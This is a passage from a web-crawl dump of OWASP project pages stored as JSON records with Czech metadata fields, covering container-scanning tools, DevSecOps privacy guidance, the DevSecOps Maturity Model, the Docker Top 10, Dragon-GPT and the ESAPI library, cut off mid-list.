Analysis for Containers\n- [Anchore](https://anchore.com/opensource/) - Open-source project for deep analysis of docker images\n- [Dagda](https://github.com/eliasgranderubio/dagda/) - A tool to perform static analysis of known vulnerabilities, trojans, viruses, malware & other malicious threats in docker images/containers and to monitor the docker daemon and running docker containers for detecting anomalous activities\n- [Falco](https://falco.org/) - Falco, the cloud-native runtime security project, is the de facto Kubernetes threat detection engine\n- [Harbor](https://goharbor.io/) - Harbor is an open source registry that secures artifacts with policies and role-based access control, ensures images are scanned and free from vulnerabilities, and signs images as trusted.\n- [Trivy](https://aquasecurity.github.io/trivy/) - Trivy is a simple and comprehensive vulnerability/misconfiguration scanner for containers and other artifacts.\n\n---\n\n### References\n\n- [Opensource.com - tools for container security](https://opensource.com/article/18/8/tools-container-security)\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-guideline/subscription) [Star](https://github.com/owasp/www-project-devsecops-guideline)", "znaku_textu": 2874, "slov": 377, "odkazu": 47, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:54", "sha256": "dfde544050578fd074ea46204e847bb6cffcc882f2e47ce71929aef197df46c9", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/quay/clair", "https://anchore.com/opensource/", "https://github.com/eliasgranderubio/dagda/", "https://falco.org/", "https://goharbor.io/", "https://aquasecurity.github.io/trivy/", "https://opensource.com/article/18/8/tools-container-security", "https://github.com/owasp/www-project-devsecops-guideline/subscription", "https://github.com/owasp/www-project-devsecops-guideline", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-guideline/latest/02g-Privacy", "titulek": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "h1": "OWASP DevSecOps Guideline - v-0.2", "popis": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-guideline/latest/02g-Privacy", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-guideline/latest/02g-Privacy.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest"], "osnova": [{"uroven": 1, "text": "OWASP DevSecOps Guideline - v-0.2"}, {"uroven": 3, "text": "Privacy"}], "markdown": "# OWASP DevSecOps Guideline - v-0.2\n\n### Privacy\n\nPrivacy has become an important aspect of application security. GDPR, LGPD, CCPA and other laws and regulations have impose several controls over processing PII (Personally Identifiable Information). To comply with those regulations, DevSecOps have to be sure to use PII accordingly and protect data agains leaking.\n\nTo start, it is important to have a good understanding of what is considered PII:\n\n- First and last name;\n- Identifiable email (name.lastname@domain.com);\n- Identity card numbers;\n- Location data (mobile);\n- IP Address.\n- This is not a complete list.\n\nSome PII are considered sensitive, and require even more protection, such as:\n\n- Racial or ethnic origin;\n- Political opinions;\n- Religious or philosophical beliefs;\n- Trade union membership;\n- Genetic data; and\n- Biometric data (where processed to uniquely identify someone).\n\nMost privacy regulations promote Privacy by Design, the aproach where the development process addresses privacy concerns thru the whole cycle. Even before coding starts.\n\nYou have to create a PII data flow to make sure you apply the required protection to the data thru its lifecycle. You also have to follow all the requirements related to the quality and volume of processed data.\n\nAll PII data processing requirements have to be specified. you have to create an inventory of all PII and evaluate the processing activity to make sure it follows all requirementes, such as:\n\n- Lawfulness, fairness and transparency\n- Purpose limitation\n- Data minimization\n- Accuracy\n- Storage limitation\n- Integrity and confidentiality (security)\n- Accountability\n\nAfter you make sure that the PII and the PII processing activity are mapped and comply to the privacy regulation you have to follow, it is important to apply the security measures to protect the data, accordingly with its criticity.\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-guideline/subscription) [Star](https://github.com/owasp/www-project-devsecops-guideline)", "znaku_textu": 1988, "slov": 283, "odkazu": 40, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:55", "sha256": "26d25575bd4793a9d18f754c600c5f8ad084e2fe12bce3c3e673f232f4085740", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-devsecops-guideline/subscription", "https://github.com/owasp/www-project-devsecops-guideline", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-guideline/latest/03-Compliance-Auditing", "titulek": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "h1": "OWASP DevSecOps Guideline - v-0.2", "popis": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-guideline/latest/03-Compliance-Auditing", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-guideline/latest/03-Compliance-Auditing.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest"], "osnova": [{"uroven": 1, "text": "OWASP DevSecOps Guideline - v-0.2"}, {"uroven": 3, "text": "Compliance Auditing"}], "markdown": "# OWASP DevSecOps Guideline - v-0.2\n\n### Compliance Auditing\n\nTBD\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-guideline/subscription) [Star](https://github.com/owasp/www-project-devsecops-guideline)", "znaku_textu": 202, "slov": 16, "odkazu": 40, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:56", "sha256": "14b8e20fbe3177624651f98594025edcaf722e460601862e3bbb3b4710a99f48", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-devsecops-guideline/subscription", "https://github.com/owasp/www-project-devsecops-guideline", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-guideline/latest/index", "titulek": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "h1": "OWASP DevSecOps Guideline - v-0.2", "popis": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-guideline/latest/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP DevSecOps Guideline - v-0.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP DevSecOps Guideline - v-0.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-guideline/latest/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest"], "osnova": [{"uroven": 1, "text": "OWASP DevSecOps Guideline - v-0.2"}, {"uroven": 2, "text": "Introduction to the OWASP DevSecOps Guideline"}], "markdown": "# OWASP DevSecOps Guideline - v-0.2\n\n## Introduction to the OWASP DevSecOps Guideline\n\nThe OWASP DevSecOps Guideline explains how we can implement a secure pipeline and use best practices and introduce tools that we can use in this matter. Also, the project is trying to help us promote the shift-left security culture in our development process.\nThis project helps any companies of each size that have a development pipeline or, in other words, have a DevOps pipeline. We try to draw a perspective of a secure DevOps pipeline during this project and then improve it based on our customized requirements.\n\nThe Ideal goal is **“detect security issues (by design or application vulnerability) as fast as possible.”**\n\nMaybe the following picture can describe the goal of securing pipelines better. As you can see, we can add more steps in Dev pipelines and deliver products more secure and reliable to the products’ customers.\nWe just put some open-source and commercial tools as an example in this image. As always, you are free to select tools and the exact location where you want to implement the tools. \nBesides implementing more security steps, Having a central vulnerabilities management solution can help to have a good view of the application security outlook in one picture.\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-guideline/subscription) [Star](https://github.com/owasp/www-project-devsecops-guideline)", "znaku_textu": 1415, "slov": 218, "odkazu": 40, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/www-project-devsecops-guideline/latest/", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-15 00:44:35", "sha256": "421946496425f945abf189476152aa37323b931a33e2183f410ad404d49be508", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-project-devsecops-guideline/subscription", "https://github.com/owasp/www-project-devsecops-guideline", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-devsecops-maturity-model/", "titulek": "OWASP Devsecops Maturity Model | OWASP Foundation", "h1": "OWASP Devsecops Maturity Model", "popis": "OWASP Devsecops Maturity Model on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-devsecops-maturity-model/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP Devsecops Maturity Model on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Devsecops Maturity Model | OWASP Foundation", "og:url": "https://owasp.org/www-project-devsecops-maturity-model/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Devsecops Maturity Model"}, {"uroven": 2, "text": "Implementation Level"}, {"uroven": 1, "text": "More Information: dsomm.owasp.org"}, {"uroven": 2, "text": "Project Leader"}, {"uroven": 2, "text": "License"}], "markdown": "# OWASP Devsecops Maturity Model\n\nFrom a startup to a multinational corporation the software development industry is currently dominated by agile frameworks and product teams and as part of it DevOps strategies. It has been observed that during the implementation, security aspects are usually neglected or are at least not sufficient taken account of. It is often the case that standard safety requirements of the production environment are not utilized or applied to the build pipeline in the continuous integration environment with containerization or concrete docker. Therefore, the docker registry is often not secured which might result in the theft of the entire company’s source code.\n\nThe DevSecOps Maturity Model, which is presented in the talk, shows security measures which are applied when using DevOps strategies and how these can be prioritized.\nWith the help of DevOps strategies security can also be enhanced. For example, each component such as application libraries and operating system libraries in docker images can be tested for known vulnerabilities.\nAttackers are intelligent and creative, equipped with new technologies and purpose. Under the guidance of the forward-looking DevSecOps Maturity Model, appropriate principles and measures are at hand implemented which counteract the attacks.\n\n## Implementation Level\n\n# More Information: [dsomm.owasp.org](https://dsomm.owasp.org)\n\n## Project Leader\n\n- [Timo Pagel](mailto://timo.pagel@owasp.org)\n- Aryan Prasad\n\n## License\n\nThe projects code is licensed under GNU GENERAL PUBLIC LICENSE Version 3. The intellectual property is licensed under Attribution-ShareAlike.\n\n---\n\n[Watch](https://github.com/owasp/www-project-devsecops-maturity-model/subscription) [Star](https://github.com/owasp/www-project-devsecops-maturity-model)", "znaku_textu": 1777, "slov": 238, "odkazu": 28, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:58:14", "sha256": "867c9feb02deab3b8afb5e0d2c465c50d4bab706e78161ab73837db98157d2d7", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://dsomm.owasp.org/", "https://github.com/owasp/www-project-devsecops-maturity-model/subscription", "https://github.com/owasp/www-project-devsecops-maturity-model", "https://github.com/wurstbrot/DevSecOps-MaturityModel", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-docker-top-10/", "titulek": "OWASP Docker Top 10 | OWASP Foundation", "h1": "OWASP Docker Top 10", "popis": "none yet", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-docker-top-10/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "none yet", "og:title": "OWASP Docker Top 10 | OWASP Foundation", "og:url": "https://owasp.org/www-project-docker-top-10/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Docker Top 10"}, {"uroven": 2, "text": "About Docker Top 10"}, {"uroven": 2, "text": "Where is it? / Getting Involved"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Why not “Container Security”"}, {"uroven": 2, "text": "A single container?"}, {"uroven": 2, "text": "Licensing"}, {"uroven": 2, "text": "Roadmap"}, {"uroven": 2, "text": "Project Leader"}, {"uroven": 2, "text": "Example"}], "markdown": "# OWASP Docker Top 10\n\n## About Docker Top 10\n\nThe OWASP Docker Top 10 project is giving you ten bullet points to plan and implement a secure docker-based container environment. Those 10 points are ordered by relevance. Rather than representing risks as each single point in the OWASP Top 10, they represent security controls. The controls range from baseline security to more advanced controls, depending on your security requirements.\n\nYou could/should use it as a\n\n- Guidance in the design phase as a system specification for your containerized environment.\n- For auditing a such an environment.\n- Also for procurement it could provide a basis for specifying requirements in contracts.\n\n## Where is it? / Getting Involved\n\nDevelopment and discussions take place @ [Github](https://github.com/OWASP/Docker-Security). After release you will find the released version also here.\n\n## Description\n\nThis guide is for developers, auditors, architects, system and networking engineers. As indicated above you can also use this guide for externals to add formal technical requirements in your contract. The information security officer will have an interest too that all your new security requirements are met.\n\nThe 10 bullet points here are about system and network security and also architecture. As a developer you don’t have to be an expert in those – that’s what this guide is for. But as indicated above best is to start thinking about those points early. Please do not just start building it. Also please keep in mind that once you build your container enviroment in a secure fashion, you need resources for operation and maintenance.\n\nSecurity in Docker environments seemed often to be misunderstood. It was/is a highly disputed matter what the threats are supposed to be. So before diving into the Docker Top 10 bullet points, the threads are modeled. It not only helps understanding the security impacts but also gives you the ability to prioritize your task.\n\n## Why not “Container Security”\n\nAlbeit the name of this project carries the word “Docker”, it also can be used with little abstraction for containment solutions not using Docker. Docker is as of now the most popular one, so the in-depth details are focusing for now on Docker. This could change later.\n\n## A single container?\n\nIf you run more than 3 containers you probably have an orchestration solution to manage them. *Specific* security pitfalls of those are currently beyond the scope of this document. That doesn’t mean that this guide just looking at one or a few containers managed manually – on the contrary. It means only that we’re looking at the containers including their networking and their host systems in such an orchestrated environment and not on special pitfalls of e.g. *Kubernetes*, *Swarm*, *Mesos* or *OpenShift*.\n\n## Licensing\n\nThe Docker OWASP Top 10 document is licensed under the [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/), the Creative Commons\nAttribution-ShareAlike 4.0 license. Some rights reserved.\n\n## Roadmap\n\nThe highest priorities for the next months are:\n\n- Publish and work on a first draft of the documentation\n- Complete this first draft\n- Better Gitbook integration (help welcome!)\n- Get other people involved to review the documentation and provide feedback\n- Incorporate feedback into the documentation\n- First Release\n\nSubsequent Releases will add\n\n- Go from Draft to Release\n- Being promoted from an Incubator Project to a Lab Project\n\nNote that there’s a [PDF @ Github](https://github.com/OWASP/Docker-Security/blob/master/dist/owasp-docker-security.pdf) which may or\nmay not (github is not good as a repo for binaries) reflect the current draft status. Build instructions are @ [https://github.com/OWASP/Docker-Security#how-to-build-pdf-version](https://github.com/OWASP/Docker-Security#how-to-build-pdf-version).\n\n## Project Leader\n\n- Dirk Wetter\n\n---\n\n## Example\n\nPut whatever you like here: news, screenshots, features, supporters, or remove this file and don’t use tabs at all.\n\n---\n\n[Watch](https://github.com/owasp/www-project-docker-top-10/subscription) [Star](https://github.com/owasp/www-project-docker-top-10)", "znaku_textu": 4087, "slov": 622, "odkazu": 36, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:56:09", "sha256": "be266488ea99750e1301306221328e733e9df782984eebeaf814bc15d09451e7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Docker-Security", "https://creativecommons.org/licenses/by-nc-sa/4.0/", "https://github.com/OWASP/Docker-Security/blob/master/License.md", "https://github.com/OWASP/Docker-Security/blob/master/dist/owasp-docker-security.pdf", "https://github.com/owasp/www-project-docker-top-10/subscription", "https://github.com/owasp/www-project-docker-top-10", "https://www.owasp.org/images/f/fd/Dirk_Wetter_-_Docker_Top10-OWASP_KA.pdf", "https://www.owasp.org/images/7/7e/Dirk_Wetter_-_Docker_Security_GOD2018.pdf", "https://www.owasp.org/images/d/df/Dirk_Wetter_-_Docker_Top10-AMS.pdf", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-dragon-gpt/", "titulek": "OWASP Dragon-GPT | OWASP Foundation", "h1": "OWASP Dragon-GPT", "popis": "An automatic OpenAI-powered threat modeling analysis based on OWASP Threat Dragon diagram", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-dragon-gpt/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "An automatic OpenAI-powered threat modeling analysis based on OWASP Threat Dragon diagram", "og:title": "OWASP Dragon-GPT | OWASP Foundation", "og:url": "https://owasp.org/www-project-dragon-gpt/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Dragon-GPT"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Changelog"}, {"uroven": 2, "text": "Example"}], "markdown": "# OWASP Dragon-GPT\n\n## Description\n\nDragon-GPT is an AI-powered tool that automatically performs the threat modeling analysis on the diagram made using the OWASP Threat Dragon modeling software. It uses the OpenAI API, so you need to have a valid account for their tokens to use on each program call, and the JSON file generated when you save/export an OWASP Threat Dragon project (generally saved in td.vue folder).\n\nThe program itself is pretty simple, it extracts every relevant information on the JSON file, like the diagram model and components used on the modeling, and transforms it into a human-readable sentence. After that, the sentence is send via OpenAI API, and the result of the analysis is printed. By default, it uses chatgpt-3.5-turbo but you can change that via parameter to another model like the chatgpt-4.\n\n## Changelog\n\n- [Update on 27/10/23] Add Support to Local LLM, the Llama 2, so you don’t need an OpenAI account. The results using Llama may be inferior and slower than ChatGPT but at least it’s free.\n\n---\n\n## Example\n\nIn the example below we have a very simple architecture where a user interacts with a web client, the web client sends HTTP requests to the server and the server makes queries to an SQL database. The Dragon-GPT creates a list of sentences, describes the diagram based on the JSON file created by OWASP THreat Dragon, and uses it as input to the LLM, which can be the ChatGPT or a local LLM.\n\n---\n\n---\n\nContributing in the development and promotion of Dragon-GPT is actively encouraged! You don’t need to be a security nor developer expert in order to contribute. Some of the ways you can help:\n\n- [Open a pull request](https://github.com/LuizBoina/dragon-gpt/pulls)\n- [Give us feedback / suggestions / report bugs](https://github.com/LuizBoina/dragon-gpt/issues)\n- Contact me via [LinkedIn](https://www.linkedin.com/in/luiz-felipe-boina/)\n\n---\n\n[Watch](https://github.com/owasp/www-project-dragon-gpt/subscription) [Star](https://github.com/owasp/www-project-dragon-gpt)", "znaku_textu": 1983, "slov": 311, "odkazu": 37, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:34", "sha256": "744675e89ad93eaa8216157d08a10f9a7e561c96f6b7443cc1c75392ed572601", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/LuizBoina/dragon-gpt/graphs/contributors", "https://github.com/badges/shields/pulse", "https://github.com/LuizBoina/dragon-gpt/actions", "https://www.youtube.com/watch?v=CUHcyfK1BXM", "https://github.com/LuizBoina/dragon-gpt/pulls", "https://github.com/LuizBoina/dragon-gpt/issues", "https://www.linkedin.com/in/luiz-felipe-boina/", "https://github.com/owasp/www-project-dragon-gpt/subscription", "https://github.com/owasp/www-project-dragon-gpt", "https://github.com/LuizBoina/dragon-gpt", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-enterprise-security-api/", "titulek": "OWASP Enterprise Security API (ESAPI) | OWASP Foundation", "h1": "OWASP Enterprise Security API (ESAPI)", "popis": "OWASP Enterprise Security API (ESAPI) on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-enterprise-security-api/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP Enterprise Security API (ESAPI) on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Enterprise Security API (ESAPI) | OWASP Foundation", "og:url": "https://owasp.org/www-project-enterprise-security-api/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Enterprise Security API (ESAPI)"}, {"uroven": 2, "text": "What is ESAPI?"}, {"uroven": 2, "text": "Downloads"}, {"uroven": 3, "text": "About ESAPI"}, {"uroven": 3, "text": "Get ESAPI"}, {"uroven": 4, "text": "Unsupported versions"}, {"uroven": 3, "text": "Learn ESAPI"}, {"uroven": 2, "text": "What I did with ESAPI"}, {"uroven": 2, "text": "Should I use ESAPI?"}, {"uroven": 3, "text": "Potential alternatives to ESAPI"}, {"uroven": 3, "text": "Is ESAPI “safe” to use?"}, {"uroven": 4, "text": "A brief history"}, {"uroven": 4, "text": "Concerns about vulnerable ESAPI dependencies are usually over-hyped"}, {"uroven": 4, "text": "If you are still concerned about support…"}, {"uroven": 3, "text": "So why then are you against recommending ESAPI?"}, {"uroven": 3, "text": "Closing thoughts"}, {"uroven": 2, "text": "Glossary"}, {"uroven": 2, "text": "OWASP ESAPI for Java EE"}, {"uroven": 3, "text": "Release Info"}, {"uroven": 3, "text": "Summary"}, {"uroven": 2, "text": "Project Details"}], "markdown": "# OWASP Enterprise Security API (ESAPI)\n\n## What is ESAPI?\n\nESAPI (The OWASP Enterprise Security API) is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications. The ESAPI libraries are designed to make it easier for programmers to retrofit security into existing applications. The ESAPI libraries also serve as a solid foundation for new development.\n\nAllowing for language-specific differences, all OWASP ESAPI versions have the same basic design:\n\n- **There is a set of security control interfaces.** They define for example types of parameters that are passed to types of security controls.\n- **There is a reference implementation for each security control.** The logic is not organization‐specific and the logic is not application‐specific. An example: string‐based input validation. (Note that some of the reference implementations are simply “toy” examples to illustrate how to implement a specific interface [e.g., ESAPI for Java’s `org.owasp.esapi.reference.FileBasedAuthenticator` ] whereas others are full-fledged enterprise ready reference implementations [e.g., `org.owasp.esapi.reference.DefaultEncoder` or `org.owasp.esapi.reference.DefaultValidator` ].)\n- **There are optionally your own implementations for each security control.** There may be application logic contained in these classes which may be developed by or for your organization. An example: enterprise authentication.\n\n---\n\n## Downloads\n\n**NOTE** - Use of links to vendor specific ESAPI presentations does not constitute an\nendorsement of that vendor by either the OWASP Foundation, nor by ESAPI contributors.\n\n### About ESAPI\n\n- Data sheet - [PDF](https://owasp.org/www-pdf-archive/Esapi-datasheet.pdf) , [Word](http://wiki.owasp.org/images/3/32/Esapi-datasheet.doc)\n- Project presentation [Slide deck](https://www.denimgroup.com/media/pdfs/DenimGroup_ESAPI_SATJUG_20100603.pdf)\n- Video presentations – [YouTube videos on ESAPI](https://www.youtube.com/results?search_query=OWASP+ESAPI)\n\n### Get ESAPI\n\n- [ESAPI for Java Downloads (binaries)](https://search.maven.org/#search%7Cga%7C1%7Cesapi)\n- [ESAPI for Java (source)](https://github.com/ESAPI/esapi-java-legacy)\n- **DEPRECATED** - [ESAPI for JavaScript](https://github.com/ESAPI/owasp-esapi-js)\n- [ESAPI for NodeJS](https://github.com/ESAPI/node-esapi) - a minimal port of “ESAPI for JavaScript” for use with Node.js\n\n#### Unsupported versions\n\nThe following flavors of ESAPI are no longer supported by OWASP. If you absolutely need to download one of those, it is suggested that you search the [Internet Archive Wayback Machine](https://archive.org/) or perhaps [GitHub](https://github.com/) for someone who may have mirrored it:\n\n- ESAPI for .NET\n- ESAPI for Classic ASP\n- ESAPI for PHP\n- ESAPI for ColdFusion & CFML (May still be supported by Adobe; also appears to be mirrored [here](https://github.com/damonmiller/esapi4cf) on GitHub.)\n- ESAPI for Python\n\n### Learn ESAPI\n\n- ESAPI design patterns (not language-specific): [PDF](http://wiki.owasp.org/images/8/82/Esapi-design-patterns.pdf) , [Word](http://wiki.owasp.org/index.php/File:Esapi-design-patterns.doc) , [PPT](http://wiki.owasp.org/images/8/87/Esapi-design-patterns.ppt)\n- [ESAPI Swingset](https://wiki.owasp.org/index.php/ESAPI_Swingset) – a sample application that demonstrates how to leverage ESAPI to protect a web application. (Uses ESAPI4Java 1.4.)\n- [LAMP should be spelled LAMPE](https://owasp.org/www-pdf-archive/LAMP_Should_be_Spelled_LAMPE.pdf)\n- [ESAPI for Java interface documentation (Javadoc)](https://www.javadoc.io/doc/org.owasp.esapi/esapi/latest/index.html)\n\n---\n\n## What I did with ESAPI\n\n- I used ESAPI for Java with Google AppEngine. I used it for simple\nvalidation and encoding. –[Jeff](mailto:jeff.williams@owasp.org)\n- I used ESAPI for PHP with a custom web 2.0 corporate knowledge\nmanagement application, made up of many open source and commercial\napplications integrated to work together. I added an organization-\nand application-specific “Adapter” control to wrap calls to the\nother ESAPI controls. –[Mike](mailto:mike.boberski@owasp.org)\n- I used ESAPI for Java’s “Logger” control to make it easier for a US\nGovernment customer to meet C\\&A requirements.\n–[Dave](mailto:dave.wichers@owasp.org)\n- I used ESAPI for Java to build a low risk web application that was\nover 250,000+ lines of code in size.\n–[Jim](mailto:jim.manico@owasp.org)\n- I used ESAPI for Java’s “Authenticator” to replace a spaghetti-like\nmechanism in a legacy financial services web application. In\nhindsight I should have used the application-specific “Adapter”\npattern mentioned by Mike above. The organization also uses the\nESAPI Encryptor as an interface to a hardware security module.\n–[Roman](mailto:roman.hustad@yahoo.com)\n- I use ESAPI to be our security package for all our product, this way\nwe can set one standard for all products.\n–[Yair](mailto:yairr@liveperson.com)\n- I use ESAPI for Java to educate developers about application\nsecurity principals at several of the world’s largest organizations.\n–[Jim](mailto:jim.manico@owasp.org)\n\n---\n\n## Should I use ESAPI?\n\n[NOTE: The heretical opinions on this ESAPI tab are 100% my own and do\nnot necessarily reflect the rest of other ESAPI contributors / creators, or the\nOWASP Foundation staff, leadership, community. –kevin wall]\n\nOr, specifically, “Should I use ESAPI for Java (Legacy)?” since that’s the only\none run by OWASP that still shows any semblance of life. While maintenance\nactivities are down compared to ESAPI’s peak development years and there is\nno new significant functionality planned (although we did recently add support\nfor SLF4J in the ESAPI Logger), it is not completely abandoned as rumor would\nhave it. A few of us are still regularly working on ESAPI and haven’t given up,\nalthough we certain could use some additional volunteers to help out. But without\nadditional active contributors, ESAPI makes slow progress in terms of bug fixing.\n\nThe first question to ask is, are you already using ESAPI in your\nproject, and if so, do you have a lot vested in it? If so, then the\nanswer to “Should I use ESAPI?” probably is “yes”. The second question\nyou should ask, if I’m using it, why am I not contributing to it in some\nmanner? But we won’t go there. ;-)\n\n### Potential alternatives to ESAPI\n\nIf you are starting out on a new project or trying for the first time to\nsecure an existing project, then *before* you consider ESAPI, you\nshould consider these possible alternatives:\n\n- Output encoding: [OWASP Java Encoder Project](/www-project-java-encoder)\n- General HTML sanitization: [OWASP Java HTML Sanitizer](/www-project-java-html-sanitizer)\n- Validation: [JSR-303/JSR-349 Bean Validation](http://beanvalidation.org/)\n- Strong cryptography: [Google Tink](https://github.com/google/tink) , [Keyczar](https://github.com/google/keyczar)\n- 